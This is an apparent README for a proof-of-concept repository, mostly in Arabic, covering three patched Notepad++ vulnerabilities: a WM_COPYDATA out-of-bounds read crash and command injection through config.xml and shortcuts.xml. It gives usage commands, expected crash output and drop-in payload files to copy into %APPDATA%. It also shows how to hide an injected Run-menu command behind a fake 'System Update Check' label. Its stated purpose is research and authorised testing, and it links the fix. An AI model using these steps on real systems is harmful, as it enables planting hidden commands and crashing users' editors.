
نصوص برمجية لإثبات المفهوم لثلاث ثغرات في Notepad++ <= 8.9.6، تم تصحيحها في الإصدار v8.9.6.1 (2026-05-26) CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
نصوص برمجية لإثبات المفهوم لثلاث ثغرات في Notepad++ <= 8.9.6، تم تصحيحها في الإصدار v8.9.6.1 (2026-05-26).

| CVE | النوع | CVSS | التأثير |
|---|---|---|---|
| CVE-2026-48770 | قراءة خارج الحدود عبر WM_COPYDATA | 5.0 | تعطيل الخدمة / تعطل |
| CVE-2026-48778 | حقن أوامر نظام التشغيل عبر config.xml | 7.8 | تنفيذ أوامر عن بُعد |
| CVE-2026-48800 | حقن أوامر نظام التشغيل عبر shortcuts.xml | 7.8 | تنفيذ أوامر عن بُعد |
.py).ps1).
├── README.md
├── poc_CVE-2026-48770.py # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py # RCE via config.xml
├── poc_CVE-2026-48800.py # RCE via shortcuts.xml
└── payloads/
├── config.xml # Drop-in payload (CVE-2026-48778)
├── shortcuts.xml # Drop-in payload (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # OOB read crash (PowerShell)
ترسل عملية محلية في نفس جلسة ويندوز رسالة WM_COPYDATA مُعدلة (dwData=3) بدون مُنهي NUL. يقرأ المعالج خارج حدود المخزن المؤقت، مما يُنتج انتهاك وصول (0xc0000005) يؤدي إلى تعطل Notepad++.
التشغيل: يجب أن يكون Notepad++ مفتوحًا.
باور شيل:
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
بايثون:
python poc_CVE-2026-48770.py
المخرجات المتوقعة:
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
تختفي نافذة Notepad++. قد يتم تشغيل WER (الإبلاغ عن أخطاء ويندوز).
يُقرأ %APPDATA%\Notepad++\config.xml عند بدء التشغيل. يتم تمرير قيمة <GUIConfig name="commandLineInterpreter"> مباشرة إلى ShellExecute() دون تحقق. استبدالها بأي ملف تنفيذي يُحقق تنفيذ أوامر عن بُعد عندما ينقر المستخدم على ملف → فتح المجلد المحتوي → cmd.
# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe
# Restore
python poc_CVE-2026-48778.py --mode direct --restore
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd
يُقرأ %APPDATA%\Notepad++\shortcuts.xml عند بدء التشغيل. تُضاف إدخالات <Command> ضمن <UserDefinedCommands> إلى قائمة تشغيل وتُمرر مباشرة إلى ShellExecute() دون تحقق. يتم تنفيذ إدخال يتحكم به المهاجم عند النقر.
# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches
# Restore
python poc_CVE-2026-48800.py --mode direct --restore
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"
قم بتحديث Notepad++ إلى الإصدار v8.9.6.1 أو أحدث.
التحميل: https://notepad-plus-plus.org/downloads/
| CVE | الإشعار |
|---|---|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
لأغراض البحث والاختبار المُصرح به فقط.